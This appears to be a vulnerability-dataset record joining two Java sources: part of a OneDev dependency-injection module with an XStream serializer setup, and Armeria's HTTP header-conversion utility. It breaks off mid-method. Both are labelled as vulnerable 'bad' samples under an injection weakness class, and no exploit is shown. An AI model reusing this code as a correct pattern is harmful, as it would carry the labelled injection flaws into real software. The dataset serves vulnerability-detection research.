resourceConfig.packages(RestConstants.class.getPackage().getName());
}
});
}
private void configureWeb() {
bind(WicketServlet.class).to(DefaultWicketServlet.class);
bind(WicketFilter.class).to(DefaultWicketFilter.class);
bind(WebSocketPolicy.class).toProvider(WebSocketPolicyProvider.class);
bind(EditSupportRegistry.class).to(DefaultEditSupportRegistry.class);
bind(WebSocketManager.class).to(DefaultWebSocketManager.class);
bind(AttachmentUploadServlet.class);
contributeFromPackage(EditSupport.class, EditSupport.class);
bind(WebApplication.class).to(OneWebApplication.class);
bind(Application.class).to(OneWebApplication.class);
bind(AvatarManager.class).to(DefaultAvatarManager.class);
bind(WebSocketManager.class).to(DefaultWebSocketManager.class);
contributeFromPackage(EditSupport.class, EditSupportLocator.class);
contribute(WebApplicationConfigurator.class, new WebApplicationConfigurator() {
@Override
public void configure(WebApplication application) {
application.mount(new OnePageMapper("/test", TestPage.class));
}
});
bind(CommitIndexedBroadcaster.class);
contributeFromPackage(DiffRenderer.class, DiffRenderer.class);
contributeFromPackage(BlobRendererContribution.class, BlobRendererContribution.class);
contribute(Extension.class, new EmojiExtension());
contribute(Extension.class, new SourcePositionTrackExtension());
contributeFromPackage(MarkdownProcessor.class, MarkdownProcessor.class);
contribute(ResourcePackScopeContribution.class, new ResourcePackScopeContribution() {
@Override
public Collection<Class<?>> getResourcePackScopes() {
return Lists.newArrayList(OneWebApplication.class);
}
});
contribute(ExpectedExceptionContribution.class, new ExpectedExceptionContribution() {
@SuppressWarnings("unchecked")
@Override
public Collection<Class<? extends Exception>> getExpectedExceptionClasses() {
return Sets.newHashSet(ConstraintViolationException.class, EntityNotFoundException.class,
ObjectNotFoundException.class, StaleStateException.class, UnauthorizedException.class,
OneException.class, PageExpiredException.class, StalePageException.class);
}
});
bind(UrlManager.class).to(DefaultUrlManager.class);
bind(CodeCommentEventBroadcaster.class);
bind(PullRequestEventBroadcaster.class);
bind(IssueEventBroadcaster.class);
bind(BuildEventBroadcaster.class);
bind(TaskButton.TaskFutureManager.class);
bind(UICustomization.class).toInstance(new UICustomization() {
@Override
public Class<? extends BasePage> getHomePage() {
return DashboardPage.class;
}
@Override
public List<MainTab> getMainTabs() {
return Lists.newArrayList(
new ProjectListTab(), new IssueListTab(),
new PullRequestListTab(), new BuildListTab());
}
});
}
private void configureBuild() {
contribute(ScriptContribution.class, new ScriptContribution() {
@Override
public GroovyScript getScript() {
GroovyScript script = new GroovyScript();
script.setName("determine-build-failure-investigator");
script.setContent(Lists.newArrayList("io.onedev.server.util.script.ScriptContribution.determineBuildFailureInvestigator()"));
return script;
}
});
contribute(ScriptContribution.class, new ScriptContribution() {
@Override
public GroovyScript getScript() {
GroovyScript script = new GroovyScript();
script.setName("get-build-number");
script.setContent(Lists.newArrayList("io.onedev.server.util.script.ScriptContribution.getBuildNumber()"));
return script;
}
});
}
private void configurePersistence() {
// Use an optional binding here in case our client does not like to
// start persist service provided by this plugin
bind(Interceptor.class).to(HibernateInterceptor.class);
bind(PhysicalNamingStrategy.class).toInstance(new PrefixedNamingStrategy("o_"));
bind(SessionManager.class).to(DefaultSessionManager.class);
bind(TransactionManager.class).to(DefaultTransactionManager.class);
bind(IdManager.class).to(DefaultIdManager.class);
bind(Dao.class).to(DefaultDao.class);
TransactionInterceptor transactionInterceptor = new TransactionInterceptor();
requestInjection(transactionInterceptor);
bindInterceptor(Matchers.any(), new AbstractMatcher<AnnotatedElement>() {
@Override
public boolean matches(AnnotatedElement element) {
return element.isAnnotationPresent(Transactional.class) && !((Method) element).isSynthetic();
}
}, transactionInterceptor);
SessionInterceptor sessionInterceptor = new SessionInterceptor();
requestInjection(sessionInterceptor);
bindInterceptor(Matchers.any(), new AbstractMatcher<AnnotatedElement>() {
@Override
public boolean matches(AnnotatedElement element) {
return element.isAnnotationPresent(Sessional.class) && !((Method) element).isSynthetic();
}
}, sessionInterceptor);
contributeFromPackage(LogInstruction.class, LogInstruction.class);
contribute(PersistListener.class, new PersistListener() {
@Override
public boolean onSave(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types)
throws CallbackException {
return false;
}
@Override
public boolean onLoad(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types)
throws CallbackException {
return false;
}
@Override
public boolean onFlushDirty(Object entity, Serializable id, Object[] currentState, Object[] previousState,
String[] propertyNames, Type[] types) throws CallbackException {
return false;
}
@Override
public void onDelete(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types)
throws CallbackException {
}
});
bind(XStream.class).toProvider(new com.google.inject.Provider<XStream>() {
@SuppressWarnings("rawtypes")
@Override
public XStream get() {
ReflectionProvider reflectionProvider = JVM.newReflectionProvider();
XStream xstream = new XStream(reflectionProvider) {
@Override
protected MapperWrapper wrapMapper(MapperWrapper next) {
return new MapperWrapper(next) {
@Override
public boolean shouldSerializeMember(Class definedIn, String fieldName) {
Field field = reflectionProvider.getField(definedIn, fieldName);
return field.getAnnotation(XStreamOmitField.class) == null &&
field.getAnnotation(Transient.class) == null &&
field.getAnnotation(OneToMany.class) == null &&
field.getAnnotation(Version.class) == null;
}
@Override
public String serializedClass(Class type) {
if (type == null)
return super.serializedClass(type);
else if (type == PersistentBag.class)
return super.serializedClass(ArrayList.class);
else if (type.getName().contains("$HibernateProxy$"))
return StringUtils.substringBefore(type.getName(), "$HibernateProxy$");
else
return super.serializedClass(type);
}
};
}
};
XStream.setupDefaultSecurity(xstream);
xstream.allowTypesByWildcard(new String[] {"io.onedev.**"});
// register NullConverter as highest; otherwise NPE when unmarshal a map
// containing an entry with value set to null.
xstream.registerConverter(new NullConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new StringConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new VersionedDocumentConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new HibernateProxyConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new CollectionConverter(xstream.getMapper()), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new MapConverter(xstream.getMapper()), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new ISO8601DateConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new ISO8601SqlTimestampConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), xstream.getReflectionProvider()),
XStream.PRIORITY_VERY_LOW);
xstream.autodetectAnnotations(true);
return xstream;
}
}).in(Singleton.class);
if (Bootstrap.command != null) {
if (RestoreDatabase.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(RestoreDatabase.class);
else if (ApplyDatabaseConstraints.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(ApplyDatabaseConstraints.class);
else if (BackupDatabase.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(BackupDatabase.class);
else if (CheckDataVersion.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(CheckDataVersion.class);
else if (Upgrade.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(Upgrade.class);
else if (CleanDatabase.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(CleanDatabase.class);
else if (ResetAdminPassword.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(ResetAdminPassword.class);
else
throw new RuntimeException("Unrecognized command: " + Bootstrap.command.getName());
} else {
bind(PersistManager.class).to(DefaultPersistManager.class);
}
}
@Override
protected Class<? extends AbstractPlugin> getPluginClass() {
return OneDev.class;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1895_0
|
crossvul-java_data_bad_1112_2
|
/*
* Copyright 2016 LINE Corporation
*
* LINE Corporation licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright 2014 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package com.linecorp.armeria.internal;
import static com.google.common.collect.ImmutableSet.toImmutableSet;
import static io.netty.handler.codec.http.HttpUtil.isAsteriskForm;
import static io.netty.handler.codec.http.HttpUtil.isOriginForm;
import static io.netty.handler.codec.http2.Http2Error.PROTOCOL_ERROR;
import static io.netty.handler.codec.http2.Http2Exception.streamError;
import static io.netty.util.AsciiString.EMPTY_STRING;
import static io.netty.util.ByteProcessor.FIND_COMMA;
import static io.netty.util.internal.StringUtil.decodeHexNibble;
import static io.netty.util.internal.StringUtil.isNullOrEmpty;
import static io.netty.util.internal.StringUtil.length;
import static java.util.Objects.requireNonNull;
import java.net.InetSocketAddress;
import java.net.URI;
import java.net.URISyntaxException;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.util.Iterator;
import java.util.List;
import java.util.Map.Entry;
import java.util.Set;
import java.util.StringJoiner;
import java.util.function.BiConsumer;
import javax.annotation.Nullable;
import com.github.benmanes.caffeine.cache.Caffeine;
import com.github.benmanes.caffeine.cache.LoadingCache;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.base.Ascii;
import com.google.common.base.Splitter;
import com.google.common.base.Strings;
import com.linecorp.armeria.common.Flags;
import com.linecorp.armeria.common.HttpData;
import com.linecorp.armeria.common.HttpHeaderNames;
import com.linecorp.armeria.common.HttpHeaders;
import com.linecorp.armeria.common.HttpHeadersBuilder;
import com.linecorp.armeria.common.HttpMethod;
import com.linecorp.armeria.common.HttpStatus;
import com.linecorp.armeria.common.RequestHeaders;
import com.linecorp.armeria.common.RequestHeadersBuilder;
import com.linecorp.armeria.common.ResponseHeaders;
import com.linecorp.armeria.common.ResponseHeadersBuilder;
import com.linecorp.armeria.server.ServerConfig;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.DefaultHeaders;
import io.netty.handler.codec.UnsupportedValueConverter;
import io.netty.handler.codec.http.HttpHeaderValues;
import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;
import io.netty.handler.codec.http.HttpUtil;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.Http2Exception;
import io.netty.handler.codec.http2.Http2Headers;
import io.netty.handler.codec.http2.HttpConversionUtil;
import io.netty.handler.codec.http2.HttpConversionUtil.ExtensionHeaderNames;
import io.netty.util.AsciiString;
import io.netty.util.HashingStrategy;
import io.netty.util.internal.StringUtil;
/**
* Provides various utility functions for internal use related with HTTP.
*
* <p>The conversion between HTTP/1 and HTTP/2 has been forked from Netty's {@link HttpConversionUtil}.
*/
public final class ArmeriaHttpUtil {
// Forked from Netty 4.1.34 at 4921f62c8ab8205fd222439dcd1811760b05daf1
/**
* The default case-insensitive {@link AsciiString} hasher and comparator for HTTP/2 headers.
*/
private static final HashingStrategy<AsciiString> HTTP2_HEADER_NAME_HASHER =
new HashingStrategy<AsciiString>() {
@Override
public int hashCode(AsciiString o) {
return o.hashCode();
}
@Override
public boolean equals(AsciiString a, AsciiString b) {
return a.contentEqualsIgnoreCase(b);
}
};
/**
* The default HTTP content-type charset.
* See https://tools.ietf.org/html/rfc2616#section-3.7.1
*/
public static final Charset HTTP_DEFAULT_CONTENT_CHARSET = StandardCharsets.ISO_8859_1;
/**
* The old {@code "keep-alive"} header which has been superceded by {@code "connection"}.
*/
public static final AsciiString HEADER_NAME_KEEP_ALIVE = AsciiString.cached("keep-alive");
/**
* The old {@code "proxy-connection"} header which has been superceded by {@code "connection"}.
*/
public static final AsciiString HEADER_NAME_PROXY_CONNECTION = AsciiString.cached("proxy-connection");
private static final URI ROOT = URI.create("/");
/**
* The set of headers that should not be directly copied when converting headers from HTTP/1 to HTTP/2.
*/
private static final CharSequenceMap HTTP_TO_HTTP2_HEADER_BLACKLIST = new CharSequenceMap();
/**
* The set of headers that should not be directly copied when converting headers from HTTP/2 to HTTP/1.
*/
private static final CharSequenceMap HTTP2_TO_HTTP_HEADER_BLACKLIST = new CharSequenceMap();
/**
* The set of headers that must not be directly copied when converting trailers.
*/
private static final CharSequenceMap HTTP_TRAILER_BLACKLIST = new CharSequenceMap();
static {
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.CONNECTION, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HEADER_NAME_KEEP_ALIVE, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HEADER_NAME_PROXY_CONNECTION, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.TRANSFER_ENCODING, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.HOST, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.UPGRADE, EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.STREAM_ID.text(), EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.SCHEME.text(), EMPTY_STRING);
HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.PATH.text(), EMPTY_STRING);
// https://tools.ietf.org/html/rfc7540#section-8.1.2.3
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.AUTHORITY, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.METHOD, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.PATH, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.SCHEME, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.STATUS, EMPTY_STRING);
// https://tools.ietf.org/html/rfc7540#section-8.1
// The "chunked" transfer encoding defined in Section 4.1 of [RFC7230] MUST NOT be used in HTTP/2.
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(HttpHeaderNames.TRANSFER_ENCODING, EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(ExtensionHeaderNames.STREAM_ID.text(), EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(ExtensionHeaderNames.SCHEME.text(), EMPTY_STRING);
HTTP2_TO_HTTP_HEADER_BLACKLIST.add(ExtensionHeaderNames.PATH.text(), EMPTY_STRING);
// https://tools.ietf.org/html/rfc7230#section-4.1.2
// https://tools.ietf.org/html/rfc7540#section-8.1
// A sender MUST NOT generate a trailer that contains a field necessary for message framing:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.TRANSFER_ENCODING, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_LENGTH, EMPTY_STRING);
// for request modifiers:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CACHE_CONTROL, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.EXPECT, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.HOST, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.MAX_FORWARDS, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.PRAGMA, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.RANGE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.TE, EMPTY_STRING);
// for authentication:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.WWW_AUTHENTICATE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.AUTHORIZATION, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.PROXY_AUTHENTICATE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.PROXY_AUTHORIZATION, EMPTY_STRING);
// for response control data:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.DATE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.LOCATION, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.RETRY_AFTER, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.VARY, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.WARNING, EMPTY_STRING);
// or for determining how to process the payload:
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_ENCODING, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_TYPE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.CONTENT_RANGE, EMPTY_STRING);
HTTP_TRAILER_BLACKLIST.add(HttpHeaderNames.TRAILER, EMPTY_STRING);
}
/**
* Translations from HTTP/2 header name to the HTTP/1.x equivalent. Currently, we expect these headers to
* only allow a single value in the request. If adding headers that can potentially have multiple values,
* please check the usage in code accordingly.
*/
private static final CharSequenceMap REQUEST_HEADER_TRANSLATIONS = new CharSequenceMap();
private static final CharSequenceMap RESPONSE_HEADER_TRANSLATIONS = new CharSequenceMap();
static {
RESPONSE_HEADER_TRANSLATIONS.add(Http2Headers.PseudoHeaderName.AUTHORITY.value(),
HttpHeaderNames.HOST);
REQUEST_HEADER_TRANSLATIONS.add(RESPONSE_HEADER_TRANSLATIONS);
}
/**
* <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.3">rfc7540, 8.1.2.3</a> states the path must not
* be empty, and instead should be {@code /}.
*/
private static final String EMPTY_REQUEST_PATH = "/";
private static final Splitter COOKIE_SPLITTER = Splitter.on(';').trimResults().omitEmptyStrings();
private static final String COOKIE_SEPARATOR = "; ";
@Nullable
private static final LoadingCache<AsciiString, String> HEADER_VALUE_CACHE =
Flags.headerValueCacheSpec().map(ArmeriaHttpUtil::buildCache).orElse(null);
private static final Set<AsciiString> CACHED_HEADERS = Flags.cachedHeaders().stream().map(AsciiString::of)
.collect(toImmutableSet());
private static LoadingCache<AsciiString, String> buildCache(String spec) {
return Caffeine.from(spec).build(AsciiString::toString);
}
/**
* Concatenates two path strings.
*/
public static String concatPaths(@Nullable String path1, @Nullable String path2) {
path2 = path2 == null ? "" : path2;
if (path1 == null || path1.isEmpty() || EMPTY_REQUEST_PATH.equals(path1)) {
if (path2.isEmpty()) {
return EMPTY_REQUEST_PATH;
}
if (path2.charAt(0) == '/') {
return path2; // Most requests will land here.
}
return '/' + path2;
}
// At this point, we are sure path1 is neither empty nor null.
if (path2.isEmpty()) {
// Only path1 is non-empty. No need to concatenate.
return path1;
}
if (path1.charAt(path1.length() - 1) == '/') {
if (path2.charAt(0) == '/') {
// path1 ends with '/' and path2 starts with '/'.
// Avoid double-slash by stripping the first slash of path2.
return new StringBuilder(path1.length() + path2.length() - 1)
.append(path1).append(path2, 1, path2.length()).toString();
}
// path1 ends with '/' and path2 does not start with '/'.
// Simple concatenation would suffice.
return path1 + path2;
}
if (path2.charAt(0) == '/') {
// path1 does not end with '/' and path2 starts with '/'.
// Simple concatenation would suffice.
return path1 + path2;
}
// path1 does not end with '/' and path2 does not start with '/'.
// Need to insert '/' between path1 and path2.
return path1 + '/' + path2;
}
/**
* Decodes a percent-encoded path string.
*/
public static String decodePath(String path) {
if (path.indexOf('%') < 0) {
// No need to decoded; not percent-encoded
return path;
}
// Decode percent-encoded characters.
// An invalid character is replaced with 0xFF, which will be replaced into '�' by UTF-8 decoder.
final int len = path.length();
final byte[] buf = ThreadLocalByteArray.get(len);
int dstLen = 0;
for (int i = 0; i < len; i++) {
final char ch = path.charAt(i);
if (ch != '%') {
buf[dstLen++] = (byte) ((ch & 0xFF80) == 0 ? ch : 0xFF);
continue;
}
// Decode a percent-encoded character.
final int hexEnd = i + 3;
if (hexEnd > len) {
// '%' or '%x' (must be followed by two hexadigits)
buf[dstLen++] = (byte) 0xFF;
break;
}
final int digit1 = decodeHexNibble(path.charAt(++i));
final int digit2 = decodeHexNibble(path.charAt(++i));
if (digit1 < 0 || digit2 < 0) {
// The first or second digit is not hexadecimal.
buf[dstLen++] = (byte) 0xFF;
} else {
buf[dstLen++] = (byte) ((digit1 << 4) | digit2);
}
}
return new String(buf, 0, dstLen, StandardCharsets.UTF_8);
}
/**
* Returns {@code true} if the specified {@code path} is an absolute {@code URI}.
*/
public static boolean isAbsoluteUri(@Nullable String maybeUri) {
if (maybeUri == null) {
return false;
}
final int firstColonIdx = maybeUri.indexOf(':');
if (firstColonIdx <= 0 || firstColonIdx + 3 >= maybeUri.length()) {
return false;
}
final int firstSlashIdx = maybeUri.indexOf('/');
if (firstSlashIdx <= 0 || firstSlashIdx < firstColonIdx) {
return false;
}
return maybeUri.charAt(firstColonIdx + 1) == '/' && maybeUri.charAt(firstColonIdx + 2) == '/';
}
/**
* Returns {@code true} if the specified HTTP status string represents an informational status.
*/
public static boolean isInformational(@Nullable String statusText) {
return statusText != null && !statusText.isEmpty() && statusText.charAt(0) == '1';
}
/**
* Returns {@code true} if the content of the response with the given {@link HttpStatus} is expected to
* be always empty (1xx, 204, 205 and 304 responses.)
*
* @throws IllegalArgumentException if the specified {@code content} or {@code trailers} are
* non-empty when the content is always empty
*/
public static boolean isContentAlwaysEmptyWithValidation(
HttpStatus status, HttpData content, HttpHeaders trailers) {
if (!status.isContentAlwaysEmpty()) {
return false;
}
if (!content.isEmpty()) {
throw new IllegalArgumentException(
"A " + status + " response must have empty content: " + content.length() + " byte(s)");
}
if (!trailers.isEmpty()) {
throw new IllegalArgumentException(
"A " + status + " response must not have trailers: " + trailers);
}
return true;
}
/**
* Returns {@code true} if the specified {@code request} is a CORS preflight request.
*/
public static boolean isCorsPreflightRequest(com.linecorp.armeria.common.HttpRequest request) {
requireNonNull(request, "request");
return request.method() == HttpMethod.OPTIONS &&
request.headers().contains(HttpHeaderNames.ORIGIN) &&
request.headers().contains(HttpHeaderNames.ACCESS_CONTROL_REQUEST_METHOD);
}
/**
* Parses the specified HTTP header directives and invokes the specified {@code callback}
* with the directive names and values.
*/
public static void parseDirectives(String directives, BiConsumer<String, String> callback) {
final int len = directives.length();
for (int i = 0; i < len;) {
final int nameStart = i;
final String name;
final String value;
// Find the name.
for (; i < len; i++) {
final char ch = directives.charAt(i);
if (ch == ',' || ch == '=') {
break;
}
}
name = directives.substring(nameStart, i).trim();
// Find the value.
if (i == len || directives.charAt(i) == ',') {
// Skip comma or go beyond 'len' to break the loop.
i++;
value = null;
} else {
// Skip '='.
i++;
// Skip whitespaces.
for (; i < len; i++) {
final char ch = directives.charAt(i);
if (ch != ' ' && ch != '\t') {
break;
}
}
if (i < len && directives.charAt(i) == '\"') {
// Handle quoted string.
// Skip the opening quote.
i++;
final int valueStart = i;
// Find the closing quote.
for (; i < len; i++) {
if (directives.charAt(i) == '\"') {
break;
}
}
value = directives.substring(valueStart, i);
// Skip the closing quote.
i++;
// Find the comma and skip it.
for (; i < len; i++) {
if (directives.charAt(i) == ',') {
i++;
break;
}
}
} else {
// Handle unquoted string.
final int valueStart = i;
// Find the comma.
for (; i < len; i++) {
if (directives.charAt(i) == ',') {
break;
}
}
value = directives.substring(valueStart, i).trim();
// Skip the comma.
i++;
}
}
if (!name.isEmpty()) {
callback.accept(Ascii.toLowerCase(name), Strings.emptyToNull(value));
}
}
}
/**
* Converts the specified HTTP header directive value into a long integer.
*
* @return the converted value if {@code value} is equal to or greater than {@code 0}.
* {@code -1} otherwise, i.e. if a negative integer or not a number.
*/
public static long parseDirectiveValueAsSeconds(@Nullable String value) {
if (value == null) {
return -1;
}
try {
final long converted = Long.parseLong(value);
return converted >= 0 ? converted : -1;
} catch (NumberFormatException e) {
return -1;
}
}
/**
* Converts the specified Netty HTTP/2 into Armeria HTTP/2 {@link RequestHeaders}.
*/
public static RequestHeaders toArmeriaRequestHeaders(ChannelHandlerContext ctx, Http2Headers headers,
boolean endOfStream, String scheme,
ServerConfig cfg) {
final RequestHeadersBuilder builder = RequestHeaders.builder();
toArmeria(builder, headers, endOfStream);
// A CONNECT request might not have ":scheme". See https://tools.ietf.org/html/rfc7540#section-8.1.2.3
if (!builder.contains(HttpHeaderNames.SCHEME)) {
builder.add(HttpHeaderNames.SCHEME, scheme);
}
if (!builder.contains(HttpHeaderNames.AUTHORITY)) {
final String defaultHostname = cfg.defaultVirtualHost().defaultHostname();
final int port = ((InetSocketAddress) ctx.channel().localAddress()).getPort();
builder.add(HttpHeaderNames.AUTHORITY, defaultHostname + ':' + port);
}
return builder.build();
}
/**
* Converts the specified Netty HTTP/2 into Armeria HTTP/2 headers.
*/
public static HttpHeaders toArmeria(Http2Headers headers, boolean request, boolean endOfStream) {
final HttpHeadersBuilder builder;
if (request) {
builder = headers.contains(HttpHeaderNames.METHOD) ? RequestHeaders.builder()
: HttpHeaders.builder();
} else {
builder = headers.contains(HttpHeaderNames.STATUS) ? ResponseHeaders.builder()
: HttpHeaders.builder();
}
toArmeria(builder, headers, endOfStream);
return builder.build();
}
private static void toArmeria(HttpHeadersBuilder builder, Http2Headers headers, boolean endOfStream) {
builder.sizeHint(headers.size());
builder.endOfStream(endOfStream);
StringJoiner cookieJoiner = null;
for (Entry<CharSequence, CharSequence> e : headers) {
final AsciiString name = HttpHeaderNames.of(e.getKey());
final CharSequence value = e.getValue();
// Cookies must be concatenated into a single octet string.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
if (name.equals(HttpHeaderNames.COOKIE)) {
if (cookieJoiner == null) {
cookieJoiner = new StringJoiner(COOKIE_SEPARATOR);
}
COOKIE_SPLITTER.split(value).forEach(cookieJoiner::add);
} else {
builder.add(name, convertHeaderValue(name, value));
}
}
if (cookieJoiner != null && cookieJoiner.length() != 0) {
builder.add(HttpHeaderNames.COOKIE, cookieJoiner.toString());
}
}
/**
* Converts the headers of the given Netty HTTP/1.x request into Armeria HTTP/2 headers.
* The following headers are only used if they can not be found in the {@code HOST} header or the
* {@code Request-Line} as defined by <a href="https://tools.ietf.org/html/rfc7230">rfc7230</a>
* <ul>
* <li>{@link ExtensionHeaderNames#SCHEME}</li>
* </ul>
* {@link ExtensionHeaderNames#PATH} is ignored and instead extracted from the {@code Request-Line}.
*/
public static RequestHeaders toArmeria(ChannelHandlerContext ctx, HttpRequest in,
ServerConfig cfg) throws URISyntaxException {
final URI requestTargetUri = toUri(in);
final io.netty.handler.codec.http.HttpHeaders inHeaders = in.headers();
final RequestHeadersBuilder out = RequestHeaders.builder();
out.sizeHint(inHeaders.size());
out.add(HttpHeaderNames.METHOD, in.method().name());
out.add(HttpHeaderNames.PATH, toHttp2Path(requestTargetUri));
addHttp2Scheme(inHeaders, requestTargetUri, out);
if (!isOriginForm(requestTargetUri) && !isAsteriskForm(requestTargetUri)) {
// Attempt to take from HOST header before taking from the request-line
final String host = inHeaders.getAsString(HttpHeaderNames.HOST);
addHttp2Authority(host == null || host.isEmpty() ? requestTargetUri.getAuthority() : host, out);
}
if (out.authority() == null) {
final String defaultHostname = cfg.defaultVirtualHost().defaultHostname();
final int port = ((InetSocketAddress) ctx.channel().localAddress()).getPort();
out.add(HttpHeaderNames.AUTHORITY, defaultHostname + ':' + port);
}
// Add the HTTP headers which have not been consumed above
toArmeria(inHeaders, out);
return out.build();
}
/**
* Converts the headers of the given Netty HTTP/1.x response into Armeria HTTP/2 headers.
*/
public static ResponseHeaders toArmeria(HttpResponse in) {
final io.netty.handler.codec.http.HttpHeaders inHeaders = in.headers();
final ResponseHeadersBuilder out = ResponseHeaders.builder();
out.sizeHint(inHeaders.size());
out.add(HttpHeaderNames.STATUS, HttpStatus.valueOf(in.status().code()).codeAsText());
// Add the HTTP headers which have not been consumed above
toArmeria(inHeaders, out);
return out.build();
}
/**
* Converts the specified Netty HTTP/1 headers into Armeria HTTP/2 headers.
*/
public static HttpHeaders toArmeria(io.netty.handler.codec.http.HttpHeaders inHeaders) {
if (inHeaders.isEmpty()) {
return HttpHeaders.of();
}
final HttpHeadersBuilder out = HttpHeaders.builder();
out.sizeHint(inHeaders.size());
toArmeria(inHeaders, out);
return out.build();
}
/**
* Converts the specified Netty HTTP/1 headers into Armeria HTTP/2 headers.
*/
public static void toArmeria(io.netty.handler.codec.http.HttpHeaders inHeaders, HttpHeadersBuilder out) {
final Iterator<Entry<CharSequence, CharSequence>> iter = inHeaders.iteratorCharSequence();
// Choose 8 as a default size because it is unlikely we will see more than 4 Connection headers values,
// but still allowing for "enough" space in the map to reduce the chance of hash code collision.
final CharSequenceMap connectionBlacklist =
toLowercaseMap(inHeaders.valueCharSequenceIterator(HttpHeaderNames.CONNECTION), 8);
StringJoiner cookieJoiner = null;
while (iter.hasNext()) {
final Entry<CharSequence, CharSequence> entry = iter.next();
final AsciiString aName = HttpHeaderNames.of(entry.getKey()).toLowerCase();
if (HTTP_TO_HTTP2_HEADER_BLACKLIST.contains(aName) || connectionBlacklist.contains(aName)) {
continue;
}
// https://tools.ietf.org/html/rfc7540#section-8.1.2.2 makes a special exception for TE
if (aName.equals(HttpHeaderNames.TE)) {
